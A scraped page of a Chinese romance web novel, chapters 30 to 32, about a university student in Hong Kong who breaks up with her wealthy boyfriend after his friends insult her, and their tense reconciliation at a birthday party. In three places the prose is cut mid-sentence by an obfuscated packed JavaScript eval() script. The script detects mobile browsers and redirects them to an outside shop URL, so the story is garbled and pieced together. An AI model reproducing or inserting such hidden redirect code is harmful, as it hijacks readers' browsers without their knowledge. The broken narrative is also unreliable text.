进入十月,香港的天气比之前凉爽了很多,山上有风,还要更舒服一些。以至于本没打算走到山顶的他们一不小心也走了很远,小初太久没爬山,只觉得心旷神怡,怎么走都走不够。 “好吧,你有什么事要跟我说?”余萧弋递过一瓶水过来,示意她休息一下。 小初想了想:“要不还是你先说。” 余萧弋看了她一眼,很有些小心翼翼:“我有个朋友明天过生日,邀请我去参加Party,我想问问,你愿意跟我一块去吗?” 小初愣了愣。 他马上又加了句:“知道你不太喜欢那种热闹又浮夸的氛围,所以,你不想去也可以的。” “没有不想去。” 两个人想要长久在一起,肯定是要向对方的生活有所倾斜的,这点小初能懂。 “真的?”余萧弋眸色瞬间被点亮,“好像派对定的是复古主题,到时候咱们俩……” “只是。”小初抿抿唇打断他,有些不好意思,“我也正要跟你说,我妈妈明天到香港,我要去接她,然后要陪她吃饭,见朋友什么的,所以这几天我大概是都不能和你见面了。” 余萧弋呆住,反应了一下才意识到她在说什么,“你是说,你妈妈要来香港?她……是来看你的吗?她知道我的存在吗?我要做什么准备?她打算住哪里?喜欢吃什么,要不要我……” “不要啦!”小初踮起脚尖安抚地摸了摸他的头发,“你别紧张,我妈妈是来出差的,食宿都由她们公司负责,你忙你的就好,不用管我这边。” 余萧弋终于意识到什么,问她:“你妈妈是不是还不知道你谈恋爱了?” 小初只能点点头。 他们俩这件事,还早呢。 余萧弋轻笑了一声:“谨慎一点挺好的,说不定,你今天喜欢我,明天就不喜欢了呢,是吧?” 小初压平呼吸,难得的耐心:“你想到哪去了,我只是不想把两个人的事情太早扩大化而已。见家长这件事,总要至少再等三四年,等你从国外毕业回来,等我们各自的事业都稳定下来之后再说吧?” “不见家长,只是像朋友一样和他们分享一下喜悦也不可以吗?我们这边谈恋爱是不需要瞒着父母的,好多人在社交网络上分享自己和另一半的日常,父母还会点点赞。” 小初说:“大陆这边还是保守一点,大多数家长还是希望自己孩子大学期间以学业为主的。我们毕竟还小。” 余萧弋看她一眼:“我不小了小姐,香港的法定结婚年龄男人只需要满18岁。” “真的假的?”小初有些不敢相信,“发达地区不是更应该奉行不婚主义吗?” 余萧弋勾了勾唇:“越说越远了。”又说,“我没有想给你压力的意思啊。” 他只是觉得她根本没有在她的生活和她的未来里给他预留位置而已,不过这句话他没说。他本来也不是这种沉不住气的性格,可一遇上她,就什么都变了,他都快不认识他自己了。 相对于她的冷淡和理智,他感觉自己有时候的炙热和感性就像个笑话,像个自导自演的小丑,喜剧效果没有达到,只剩下滑稽。 小初弯了弯眼睛:“我就知道你是懂我的。” 他笑笑。 两人又慢慢向山顶走去,却再也没有来时候那种说什么都很投机的感觉了。小初努力找了几次话题,见他都兴致寥寥,渐渐自己也觉得没了意思,就没再说话了。 山顶上排队坐缆车的人太多,最后两人还是坐小巴下的山,又在中环乘地铁返回。 一整个晚上,他们都没有互发信息,这还是两人确定关系后的第一次,小初只当他忙,也没太在意,早早就把手机放一边进入了睡眠模式。 不知道是不是秋天来了,她最近总是很渴睡,恨不能睡足十个小时再起床。 第二天下午快三点,小初才出发去机场接黄亦玫。 方太太这几年也没有早些年在工作上的拼劲儿了,至少,她现在完全没办法早起坐飞机,一定要睡饱了才能出门。 因为晚上还要和妈妈一块去见朋友,小初不敢让自己太潦草,特地挑了条比较重工的裙子出来,还给自己画了个跟平常都不太一样的妆。 以至于一出门把Wendy朱都吓了一跳,反应了几秒才朝她挑了挑眉:“又是男朋友约?” 小初没答,只是凑近她看了看她的眼角,小声说了句:“总算看着没那么吓人了。”又问她:“你干嘛去?” Wendy说去上公共课,下了课还要跑回来参加宿舍活动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他回:「我就是想看看你到底多久才会想起我。很好,时间不长,也才十九个小时零四十八分钟二十三秒而已。」 「……」小初的沉默震耳欲聋。 他又问:「见妈妈需要打扮得那么漂亮吗?」 「当然,我妈妈可是仙女,颠倒众生那种。」 说完这句话,她就收起了手机。 到了机场,黄亦玫的飞机还有十五分钟落地,时间刚好。 趁这个空挡,她想也没想,直奔某奢牌专柜帮他挑了条so black的编织手绳,打算明天一见面就帮他绑上,免得他大半夜不睡觉真把自己幽怨得飘起来。 几天不见,黄亦玫的状态肉眼可见更好了,也不知她老公是怎么哄的她。小初叹口气,又有一丝释然,只要他肯为她花心思就好。 她别无所求,只希望她妈妈每天都快乐,一直快乐到两百岁,等她也老了,头发也白了,她还能健健康康地做她的妈妈。 “嗨,方小姐。”黄亦玫黑色复古衬衫搭配同色短裙,整个人柔和美好到不像话,一张脸更是极为立体和紧致,完全看不出是已经四十几岁的人,一出场就吸引了不少路人的目光。 小初笑,心想她要不要干脆大喊一声“妈”,把那些人都吓晕。 不过最后她还是没有那么做,她希望她永远能多闪耀一天。 “黄小姐,旅途辛苦。”小初笑着上前去接过了她手里提着的礼品袋。 她身后还跟着好几个推着行李车的员工,小初朝她们点了点头,算是打过招呼。 黄亦玫揽住小初的肩膀:“走吧。” 小初问:“还没问你要带我见的人是谁呢,这些礼物就是给那个人带的?” 黄亦玫说:“不是前面跟你说了吗?你干妈谢令妤啊,她来香港拍电影,你不记得了?” “哦,对!”小初拍了拍额头,“这段时间真的太忙了。” “我看看。”黄亦玫上下打量了一下她:“好像比前一段回北京气色好了点?怎么,幸福胖吗?” 小初不想进行这个话题,挽住她妈妈的手臂就往外走,一边走一边问道:“你那些员工怎么办?” 黄亦玫说一切都安排好了,他们会带着她的行李先行回酒店。 小初点头。 两人又往前走了一会儿,小初才想起来,“我们怎么去见干妈?打车?” 黄亦玫揽着她的肩膀,眨眨眼:“方总安排车了。” “……” 小初的沉默再次震耳欲聋,她爸这么会安排,怎么也不见给她安排安排? 一个小时后,一位方小姐和一位黄小姐总算乘着方先生给安排的豪车和来自美国的著名华裔导演谢令妤碰上了面。 老友重逢场面总是分外温情。 只是小初没想到,谢大导演还带了个年轻帅哥演员过来,她一开始还有点疑惑,因为她记得她干妈也没和她老公李湛离婚呢啊,怎么还堂而皇之搞起潜规则来了。 直至她跟她说:“小初,我和你妈妈有很多很多话要聊,估计顾不上你,一会儿让这位帅哥带你到处逛逛,有什么喜欢的,你随便买,干妈买单。” 而后她又贴到她耳边来小声说道:“这家伙是资本公司要捧的新人,估计很快就要火了,干妈疼你,先给你玩会儿。” “……” 她倒也,不用这么疼她。 又三个小时后,小初和帅哥被两位女士赶出来到街对面买糖水。 谁承想竟直面撞上了余萧弋。 以及,他的一大群朋友。 小初就知道,资本的人是不能随便玩的。 31.第 31 章 余萧弋隔着往来人群叫她名字的时候,方太初正跟帅哥男演员坐在糖水店门口等老板打包,并有一搭没一搭聊着天。 男演员叫陈槐东,跟她一样来自内地,只是签约了香港这边的经纪公司,才有机会接触到港圈的一些影视资源。 不过据他自己说,这次能出演谢令妤的男一号,还真跟他经纪公司无关,是他自己试镜来的。 对此小初倒无所谓,她比较好奇的是:“演员试镜都试什么?” 陈槐东没答她,反用粤语朝店内的服务员喊了句,“你好,刚刚要你先做的那份冻香芋椰汁西米芋圆好了吗?” 服务员应声,没一会儿就把那份甜品端了出来。 陈槐东接过来递给小初,“你尝尝,这边的糖水好像甜味和奶味都要浓一些。” 小初舀了口芋圆放在嘴里,点了点头,“确实不错,很绵密。” 陈槐东浓眉,高鼻,单眼皮,帅肯定是帅的,但帅得和眼下的主流审美又有些偏差,不像别的男明星那么唇红齿白,精致得跟AI建模似的,反而更像一个邻家大哥哥,笑起来的样子甚至有点淳朴。 “演员试镜一般就是按照试戏剧本以自己的理解演绎一遍,不过在那之前简历和照片肯定是要先经过选角导演筛选的。这事儿没法说,尤其像谢导这种级别的大导,手里不定已经收到多少内推的艺人资料了,最后到底用谁不用谁,都是各种博弈和衡量。不过,机会是给有准备的人是肯定没错的。” 小初认同地点点头。 陈槐东不知怎么有些脸红,然后才说:“你知道谢导这次要拍的是一部限制级悬疑爱情片吧?” 小初想了想,“不会是尺度很大的那种吧?” “嗯,就是的。”陈槐东倚在高脚椅上,一双长腿无处安放地向前倾斜着,笑笑,“所以,这次谢导选择我,还有一个很重要的原因就是我脸生,她要的就是我身上有点土的这种感觉,因为和我对戏的那个女主演员,是个影后,她需要这种碰撞。” “是嘛!”小初又大大吃了口甜品,有些遗憾,“你早说我就管干妈要一份剧本概要瞄瞄了,听着剧情很有张力啊。” 陈槐东说:“简单说就是二十岁年轻男孩和四十岁年上女人婚外情又一起杀掉她丈夫的故事。具体这男孩和女人之间有没有爱情,他又是不是女人杀夫事件中被设计好的一枚棋子,以及这段不伦恋结局到底怎么样,就只有导演和编剧知道了,因为我只能看到我那部分的剧本。” 小初有些讶然:“你是说,你只有二十岁?” 林槐东没想到她的关注点在这,无声而笑,“不像吗?” “我还以为你已经二十七八了。” “他们都说我长得比较着急。”林槐东大笑,露出两排洁白的牙齿,“骗你的,我二十四了,不过,配合一下妆造,演个二十岁,应该不成问题。” 小初也笑,“到时候我去探班。” 林槐东摆手:“建议你别来,因为都是大尺度床戏,估计你们外行看了,挺不堪入目的。” 店里伙计出来把打包的甜品交给他们。 小初站起身,和他并肩往回走,一边吃着甜品,一边说着,“所以你们这部戏讲的就是人性和欲望的投射呗?” 很好,这很谢令妤,估计拍出来会很文艺,很情色,很勾人。 “差不多。” “陈槐东,你要大火了。”小初大笑,“回头你火了记得给我签名啊。” “借你吉言。” 小初就是这个时候听见人群里有人喊她,“方太初”的。 而且那声音还听起来特别耳熟,有种蕴含着薄怒的压抑感。 她倏地转身过去,然后就撞进了余萧弋似已极度痛苦和失望的眸子里,她吓一跳,完全没想到随便在街上也会碰到他,这香港还真是小,难怪他们这边的明星出门买个菜都会被狗仔拍到,这确实躲不开啊。 陈槐东抬眸过去看了眼余萧弋以及他身边的朋友们,有些意外,“你们认识?” 这群人虽然扮相比较夸张,但肯定不是他的演员同行。因为任谁都不难看出他们身上贵不可言的气质,几个女孩子手上的包包甚至是收藏级别的中古款,显然是一群富二代闲着没事出来玩cosplay的,女的cos温碧霞,袁洁莹,男的cos白色古天乐,罗嘉良和温兆伦。 小初扁扁嘴:“嗯,我男朋友,完了我死定了,他肯定误会了。” 陈槐东说:“所以,我是留在这陪你,还是先回去?” “你……” 小初还没说完,余萧弋已到面前。他今天穿了身白色复古西装,头发用发胶向后固定着,像个上世纪留洋归来的大少爷,虽然温文尔雅,但也有种说不出的浮夸感。 “你们派对怎么开到街上来了?”小初实在没忍住,笑出来,然后又和这群人里几个之前在绮丽见过面的摆了摆手,“嗨,你们今天看着都好靓晒。” 所有人都目光冷冷地看着她,像看一个背叛者,没有回应。 铭仔过来拍拍余萧弋的肩膀,用粤语说了句,“兄弟,我之前提醒过你的了,她们这群人都是到处捞的,怎么会把宝押在你一个人身上?也她算聪明,知道你们家是不会答应你娶她的。” 余萧弋甩开他搭在肩膀上的手,神情冰冷,“乱说什么!” 铭仔嘟囔:“我就是看不惯你被人耍嘛!” 小初没听懂铭仔的话,陈槐东却听懂了,虽然相识时间短,但他又怎么会看不出这位方小姐和其他的富家女一点不一样?至少,她对他可完全没有那种高高在上玩弄戏子的态度。 这份尊重,难能可贵。 于是他向前半步挡住小初,小声问她,“我们要不要先回去?谢导和黄总还在等呢,一会儿甜品口感都不好了。” 小初怎么敢走,她觉得她要是走了,这误会才是永远解不开了,她刚想说什么,余萧弋那群朋友却忍不住了,直接上来推搡了陈槐东一下,极为嚣张:“喂,你做咩野,这里有你咩事啊?” 陈槐东措手不及,一个没站稳,手里的袋子就掉在了地上,甜品盒子被乱七八糟摔开,汤汤水水洒了一地,芋圆和红豆糕滚得到处都是。 事态一下子急转直下。 这个路段本就是繁华街区,路上都是游客和市民,好多路人不明所以,还以为自己运气好碰到了剧组拍戏,纷纷停住脚步观望了起来,有两个说普通话的,一边看还一边讨论,“这什么剧组,拍什么戏呢?” “应该是短剧吧,没看他们穿得都很夸张吗?” “就是短剧,这剧情我太熟了,看起来是这男主误会女主和男二在一起了,正吃醋呢。” “你这么说还真像,只是我怎么没看见摄像机呢?” “是不是用手机拍的?现在好多小剧组都穷得很,哪有那么多高级设备。” “也可能是哪个网红在拍段子。” “那肯定也是个大网红,你看这男女主,长得多好看,不输一般明星。” “确实。” 现场瞬间陷入了混乱。 余萧弋也没想到事情会发展成这样,心下已经慌到不行,呵斥他那几个冒失的朋友一声,并让他们赶紧先行回酒店派对现场去,别在这添乱了。 小初脑子里正嗡嗡响,根本也听不见其他的声音了,只呆呆看着脚下的芋圆,半晌才轻笑一声抬起头来,只是这一次,她眼睛里再没有了之前的讨好和温柔。 “Theo余,你什么意思啊,你纵容你朋友欺负我是吧?” 余萧弋向前一步,想拉她的手,“对不起,我本意不是这样的。” 却被小初侧身躲开,“我管你本意是什么?你这群朋友对我出言不逊也不是一次了,没有你的默许,他们敢这样吗?说明你们根本就是一丘之貉,你也不是什么好东西。赶紧,现在就从我面前滚,不要让我再看见你。” 余萧弋愣住,眼底瞬间变得通红,难以置信看向她:“方太初你这么理直气壮吗?我派对开到街上来那是因为有人做游戏赢了所有人,惩罚大家游街一圈,你呢,这就是你那颠倒众生的妈妈吗?”他冷冷看了眼一旁的陈槐东。 小初气急,根本懒得搭理他,“跟你有关系吗?” 他弯下腰,任两人的气息交织,明明是轻笑着,却不知有什么从眼角滑了下来:“没关系吗?” 小初退后一步,不去看他的眼睛,神情极为坚毅:“就算之前有,现在也没有了,以后更不会有。余同学,我们分手了。” 余萧弋呆立在原地。 小初转头,将手里没吃完的芋圆西米露递给陈槐东,“你拿一下,我去管老板要一下工具,把这里打扫一下。” 人群已看出这不是什么短剧拍摄现场了,顶多也就一对小情侣吵架,很快意兴阑珊,渐渐散开。 陈槐东说:“你别管我来吧。” 说着就往店内去了。 小初往旁边站了站,想了想,还是将包里下午在机场买给他的那根手绳找了出来,在余萧弋面前一晃,气到极致反而无比平静,“这个本来是送给你的,不过我想现在也不需要了。这么廉价的东西……”她笑着看了看他身后那群珠光宝气的朋友,“也配不上你。” 说完,她就毫不犹豫将那个小盒子扔进了一旁的垃圾桶里,并俯身把地上的一堆乱七八糟的打包盒也一并捡了扔进去,还没忘接过陈槐东手里的工具把那些汤汤水水花生西米芋圆的都扫了扫倒在上面,做完这一切,她才拍了拍手,朝陈槐东灿笑道:“走吧,我们换一家。” 陈槐东点头。 两人大步走开,只剩余萧弋和他的一群朋友还目瞪口呆看着她的背影。 铭仔凑过来看了看泪流满面的余萧弋,也有点不知所措,“不是吧,大佬,真哭了?不至于吧,就一个长得好看一点的女仔而已。” 爱马仕姐也来劝:“是啊Theo,别难过了,改天我介绍个更好的给你。你也别怪大家刚才那么激动,我们都从小一起长大的,谁不知道你纯的像一张白纸一样,你说我们能眼睁睁看着你被人这么侮辱吗?方小姐实在过分,她也不想想这是什么地方,竟敢在太岁头上动土。” 另一个朋友也说:“我们也没误会她吧?刚刚我们可是看了他们好久才过去的,她和那男的状态那么松弛在一块有说有笑的,肯定早就认识了,只是你一直不知道。” “就是,我长这么大就没见过这么嚣张的穷人,做了亏心事竟然一点不内疚的,还敢指着你的鼻子骂,不是,她是不是不知道你是谁啊?” “没给她花过钱?” “一定是,傻仔,你觉得你跟人家搞的是纯爱,殊不知人家在你这看不见好处就走了。不过也好,这种人注定也长久不了的,索性长痛不如短痛。” 余萧弋仍旧定定看着小初和陈槐东离去的方向,尽管那里已被车水马路挡住,他的世界已一片纷乱,他什么都听不清也看不见了。 “Leave me alone。”他几乎是从牙缝里挤出的这句话。 “什么?” 他的朋友没太听清。 “我说,Leave me alone。” 他的声音很低,没有任何失控的愤怒,却有种不容置疑的压迫感,他的朋友自小以他马首是瞻,自是知道他什么脾气,看来这次,他是真栽了。 大家互相交换了一个只可意会的眼神,没再说话,一分钟之内就消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢令妤说:“你吓死我,我还以为你真看上他。” 黄亦玫嗔谢令妤,“怎么跟孩子也没大没小的。” 小初奇怪:“不是你说让我先……”那个“玩”字被她紧急咽回口中,“当认识个朋友吗,我还以为你介绍男朋友给我呢。” 谢令妤喝了一口杨枝甘露,“小傻瓜,干妈就是知道你看不上他,也知道你们家不会同意你找娱乐圈的对象才带他出来给你见识一下男人多样性好不好?你爸妈就你这么一个掌上明珠,到时候可别稀里糊涂就被坏男人骗走了。你看刚才那家伙纯情吧,朴实吧?其实内里很多东西很复杂的,我选他当男主,承受了很大压力。” 小初差点被一口水呛到,“谢导,您不是该以作品质量为第一考虑吗?” 谢令妤挑了挑眉,“刚好,他的专业性也符合我的标准啊,很多东西缺一不可的。那家伙……”谢令妤瞟了黄亦玫一眼,收敛了一下措辞,“文戏武戏都不错,张力更是满格,到时候有空你来探班,干妈给你现场教学一下。” 小初倏地红了脸,“教,教学什么东西?” 黄亦玫也说:“越说越离谱,不许说了。” 谢令妤大笑,“教学谈恋爱啊教学什么,我拍的是纯爱好吧,就是那种又色,又纯,又文艺,又各种纠结背德失控的感觉,懂吧?” 黄亦玫做了个打住的动作,问小初:“我和干妈打算今晚一块住聊聊天,在隔壁给你开了间房间,你只好自己住了哦。” 小初有些无语,“既然如此我回学校住多好呢,还能省一晚上的酒店钱。” 黄亦玫笑:“你明天上午不是没课吗?你爸说了,让你跟我去馆里拆纸箱布展,锻炼一下。” 小初垂下嘴角,摊了摊手,看向谢令妤,“谢导您看见我这对狠心的爸妈了吧?还什么掌上明珠,我就一长工,您干脆把陈槐东微信推给我,我要跟他谈上,让他们俩为我操心一辈子。” 谢令妤和黄亦玫都大笑。 好容易挨到了上楼休息的环节。 一到房间,小初就脱力了一样瘫在了床上,眼泪无声无息地流了下来。 她也没想到,她的初恋,竟然就这么潦草结束了。 余萧弋刚刚在她面前哭泣的样子太破碎,她实在没忍住心疼。 既然他如此爱她,为什么对她一点信任都没有呢?她在她心里到底是什么人啊,随便碰见个谁都可以轻易将他替代? 想起他那群朋友眼中的嫌弃和误解,她越哭越委屈,又怕隔壁的黄亦玫和谢令妤听见,干脆进卫生间打开花洒,哭了个痛快。 等她出来,才看见手机里来自余萧弋的好几通未接来电。 微信也多了几条留言。 她向来不是个言而无信的人,说分手就是分手,她可没那么多时间和他相互拉扯试探。 正要将他拉黑,却看见他最后一条消息赫然是:「方太初,我在你酒店大堂等你,如果半个小时你不出现,我会上去敲门,4024房间,没错吧?」 小初眼皮猛地一跳,嘴唇瞬间抿紧,回他:「你怎么知道?」 「忘了跟你说,这家酒店也是Rebecca名下的。」 小初说:「好,你等着,我现在就打电话投诉你们余家的酒店泄露客户隐私。明天我就让它登到全港报纸的头版头条上。」 「可以,这是你的权利。不过,这些都不会影响还有七分钟,我会上楼。」 他似乎铁了心。 小初咬咬牙。 32.第 32 章 小初生怕黄亦玫和谢令妤听见她下楼的声音,连关门都关得很轻,并特意在门外挂上了防打扰的牌子。 然后,乘电梯直奔酒店大堂。 出门前,她还没忘记给自己补个妆,将刚刚哭过的痕迹全部遮住。她才不要把自己脆弱展现给他看,上演什么眼底泛红,泪失禁,欲拒还迎求心疼的戏码,二十一世纪都快过去三分之一了,已经不是人类没了爱情就活不下去的时代了。 电梯门一开,她就看见了等在门口的他,头发和领带都有些凌乱,但是更该死,因为这样的他比前面那个浮夸的他显然更好看了。 他看见她就说:“方太初,我们谈谈。” 小初目光冷冷滑过远处前台工作人员的脸,很想去问问到底是哪个人把她的住宿信息透露出去的,但是转念一想打工人也有她们的苦衷,只能忍下。 千错万错,都是他余萧弋的错。 “谈什么?”为了避免谢令妤和黄亦玫不知什么原因刚好下楼撞上这一切,小初干脆带着他往酒店外走去,酒店大堂休息区喝东西聊天的人太多,实在不适合她和他这种准备大吵一架的分手情侣。 现在已经夜里十点多,整个城市却仍陷在一片浮华幻影中,霓虹闪烁,车马喧嚣,各种肤色和面孔的游人如织,海风吹过来,夜微凉。 小初找了个灯光稍暗的地方停下来,“说吧,说完赶紧走,以后也别再来找我。” 余萧弋清了清嗓子,像是下定了某种决心,“所以和你一起的那两个,Ms Huang和Ms Xie,哪个是你妈妈?” 小初忽地抬起眸,冷笑一声,“无耻。” “对不起。” 小初毫不客气地嘲讽道:“道什么歉啊,你没顺手查查我房间有没有男人吗?” 余萧弋说:“我知道你不会。” “现在说这句话晚了。” “我承认我当时确实被某种情绪冲昏了头了,主要是你说好去见妈妈,结果却和一个那么帅的男人一块出现在热闹的街头,一边吃甜品一边轻松聊天吹海风,你觉得作为男朋友的我有些误会,很奇怪吗?”余萧弋循循善诱着,但他也很清楚,她才不吃他这一套。 果然,下一秒,就听她笑了笑:“余萧弋,你想听我自证。可是抱歉,我很小的时候我爸就教过我了,永远不要和任何人自证,你既然对你眼睛看到的东西已经有了判断,那就坚持你自己,这没有错,但你不要试图说服我接受你的逻辑。” 她说话的语速很快,条理非常清晰,余萧弋听着听着,不知怎么又生出三分爱慕来,接着就是更汹涌的痛苦,他不敢相信他就这样把她弄丢了。 小初又说:“就算我真做错了,就是你纵容你朋友侮辱我的理由嘛?你是不是当我听不懂粤语?我法语和韩语都能学会一点,你们一个带口音的方言,你觉得对我有加密效果吗?就算听不懂全部,根据语境还猜不出来意思吗?余萧弋,你忘了,我是个解题高手。” 余萧弋颓然地叹了口气,是啊,她不仅是个解题高手,还有颗钢筋水泥做的心脏呢,对于感情更是收放自如,爱或不爱,只在她一念之间,不像他一想到再也不能拥抱她,就痛到没法呼吸了。 小初最后看他一眼,狠下心,对他,也是对自己,“你不尊重我,我就不可能再和你在一起,就是这么简单,至于其他的,我没什么可解释的,就这样,你要没什么事,我就回去了。” 余萧弋低哑开口,嗓子已经痛到像是借别人的,“等下,我还没说完。” 小初顿住,无可无不可地看了他一眼,毕竟相处一场,结束的对白还是要给机会让人家说完的,一次性说完,免得后面反复纠缠。 “方太初,你不会痛苦吗?一段感情就这么遗憾结束了?你知不知道我跟你在一起后就一直很没有安全感?因为你总是很冷淡很冷淡,心里根本没有给我留位置,对我就像观察一个实验室的样本,一旦有任何地方不符合你的预期,就立刻要替换掉,你都没有感情的需要吗?寂寞的时候,难过的时候,都没想过身边可以有人陪陪你,让你把坏情绪暂时安放一下吗?” 小初坦诚道:“我当然也会痛苦,也会寂寞,也会有难过的时候。当然,你说得很对,可惜我是个学数学的,向来以结果论,实验样本已经不符合预期了,我还要浪费时间写本错误指南留给后人吗?” 余萧弋抿了抿唇:“你忘了我也是学数学的,我觉得调整变量让模型无线趋近自己想要的那个结果更重要。我说过,如果以结果论,大多数数学家的一生都是毫无意义的,难道真是这样吗?那个追求真理的过程,不也是另一种意义吗?方太初,和你在一起,对我就是很有意义的一件事,我不想轻易就结束它。” 小初心跳漏了一拍,视线不自觉看向他,“我说了,你不要试图说服我接受你的逻辑。对我而言,安放我的感情不会解决我任何问题,一个不带给我问题的伴侣,才能让我安放我的感情。” “可你知道这世上并不存在这样的人,除了你自己,没有人不需要解释就能完全懂你在想什么。包括你父母,就算他们很相爱,你觉得他们彼此间又真正懂对方多少?” 他真是个可怕的人。 小初想。 她觉得她不能再听下去了,否则一定会被他蛊惑到偏离轨道。 “我得走了。” 余萧弋拉住她,“我给你道歉。” 他手腕上的爱马仕手绳映入眼帘,小初睫毛骤然一颤,眼泪开始汹涌,她没办法想象他俯身从肮脏的垃圾桶里将它翻出来的画面。 幸而这里光线比较暗,不至于让她暴露了自己的情绪。 他这又是何必呢? 都说了分手了,就洒脱一点不好吗? 凭他,也不怕没人来爱。 比她更优秀,更漂亮,家世更好的名门闺秀大有人在,想必哪一个都比她更好相处,更懂得体贴和包容。 “不必。” 他又说:“我让我那些朋友跟你道歉。” 小初努力忍下喉间的酸涩,“更不必。”她尽量让自己的声音听起来没有任何感情起伏,“余萧弋,人在街上被狗咬了,最合理的处理方法是赶紧去医院打疫苗,而不是停下来跟狗纠缠。” 余萧弋都不知道自己为什么会在这会儿笑出来,“你说得对。” 小初瞪他一眼。 他拉着她的手腕不放。 “两个选择,一个是跟我去见见我的那些朋友,我让他们给你道歉,无论你接受不接受。并且我保证,以后他们都不会再对你出言不逊。另一个,就是我们就这样手拉手上楼去,敲开你隔壁房间的门,向两位女士郑重介绍一下我们两个的关系。” “余萧弋,你怎么越来越无耻了?” 他笑:“不仅无耻,还快失去自我了。刚还在街上被人当成疯子,幸亏余家每年支付那么多钱保护我们小辈人的隐私,不然我这副德行,就要被放大刊登到街头小报上去了。” 小初说:“好啊,刚好予你家族荣光。” 余萧弋贴近她:“方太初啊方太初,我要拿你怎么办才好。” 小初不吭声。 “所以你选1还是2?” “我选择就地把你打死。” “走吧。”他从扣着她手腕的动作换成和她十指相扣。 小初挣了挣,没挣脱,顿时有些无语,“Theo余,我们已经分手了,你这样合适吗?” “谁说的,分手是两个人的事,我又没说我同意,你一个人决定不了。” 小初说:“你同不同意,都不影响我的决定。” 余萧弋不接茬,只说:“走吧,派对还没结束,跟我过去坐坐,我不能任别人误解你。” 小初说:“我无所谓,都是一群不重要的人。看在你面子上的假装尊重,只会让我更看不起他们,人连捍卫自己观点的勇气都没有,还活着干什么。” 余萧弋说:“好,我私下跟他们说。” 小初不想跟他在这僵持下去,问他:“是不是我跟你过去坐坐,给足你面子,让你朋友觉得你没有被女朋友甩,咱俩这事儿就算过了?” 余萧弋也不知道她是怎么得出这个结论的。 但他不想和她分开,只能尽量延迟着时间。 “走吧,你朋友他们在哪呢。” 余萧弋指了指对面,“就在那个酒店。” 小初看了看酒店的招牌,轻笑一声,“好大的手笔。”又问他,“你是怎么过来的?” “走路呗。”余萧弋垂下嘴角,“我眼睁睁看着你和那个人过的马路,买了吃的,进的这家酒店,我还以为……” 小初红了脸,用力掐了一下他的手,“龌龊。”又实在愤恨,口不择言地说道:“我连你都不想睡,我会想睡他?” 余萧弋若有似无地笑了一声,俯下身直直看向她眼底,“你让我理清一下这逻辑啊,你连我都不想睡,怎么听起来我才是那个唯一选择似的?” 小初迈步就走,根本不搭理他。 却忘了两个人还牵着手,她在前面走,他亦步亦趋。 “所以,你也觉得我会更好睡?” 小初越走越快。 “要不,你今晚试试我?明明还是喜欢的,不睡一下就分手,你甘心吗?” 小初终于忍无可忍,骂他:“余萧弋你给我闭嘴。” 今天过生日的主角叫杨敏中,英文名Marissa,家里做船舶生意的,又是家里最小的女儿,向来受宠一些,这次过生日更是包下了整个酒店,提前好久就从世界各地空运鲜花过来布置现场,为了贴合这次的复古主题,她的几套礼服都是某奢牌高定款,珠宝更是维多利亚时代古董级别。 晚宴的来宾更是星光熠熠,有头有脸的明星名流几乎都现身捧了场。现在晚宴结束,留下来参加After Party的,就都是她自己比较私密的同龄朋友了。 小初和余萧弋到的时候,一群人正在舞池里跳舞,铭仔第一个发现他们的身影,惊讶得眼睛差点掉出来。 音乐仍在继续。 尽管现场的人都挺珠光宝气姿容出众的,但小初还是一眼看见了那个被众星捧月的女主角,浑身都散发着让人无法忽视的光芒。 甜美,优雅,又不乏精英感。 小初由衷地说:“杨小姐真漂亮。” 余萧弋不置可否,只是拿了两杯酒过来,其中一杯递给她,“尝尝,这个调酒师很厉害的,帮你拿了杯口感好酒精度低的。” 小初说:“我不能喝,喝了会被我妈妈看出来。我明天还要去帮她干活。” 余萧弋意外,“干什么活?” “体力活。” “所以,今天那个男的,是你妈妈的……员工?”余萧弋喝口酒,不经意问道。 小初睨他一眼:“跟你有什么关系。” 音乐不知不觉停了下来,所有人都很兴奋。 杨敏中一眼就看见了人群中的余萧弋,款款向他走过来,“嗨,Theo,你回来了?”然后才像刚看到小初似的,讶然道:“这位美女是?不介绍一下吗?” 因为主角光环,全场的目光都向他们投射了过来。 余萧弋揽过小初的腰,笑得魅力非凡,“我女朋友,方太初。” “啊,是吗?你好,欢迎来参加我的生日派对。”杨敏中向小初伸出手来。 小初没办法,也只能礼节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16325783|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性地和人家握了握,并说了句:“生日快乐杨小姐。” 趁她不注意,她忍不住踩了余萧弋的脚一下,这个家伙,到底是听不懂人话还是在拿她挡桃花? 余萧弋始终弯着唇,眼睛都没眨一下,只是放在她腰间的手,又紧了几分。 杨敏中跟小初说:“我和Theo很小就认识了,主要是因为两家的大人都是多年的好朋友,所以方小姐你不要拘谨,玩得开心一点。” 小初笑:“谢谢你啊杨小姐,我会的。” 一群人都围了过来,一边喝酒一边聊起了天。 小初不喝酒,余萧弋就交代侍者帮忙拿杯橘子汁过来,还特别说明不要加冰。 杨敏中说:“看不出Theo余做男朋友竟然是这么体贴的。” 余萧弋漫不经心笑笑:“要是对谁都体贴,不就成了中央空调了吗?未免给不相干的人造成太重心理负担。” 杨敏中神色一暗,说了句,是。 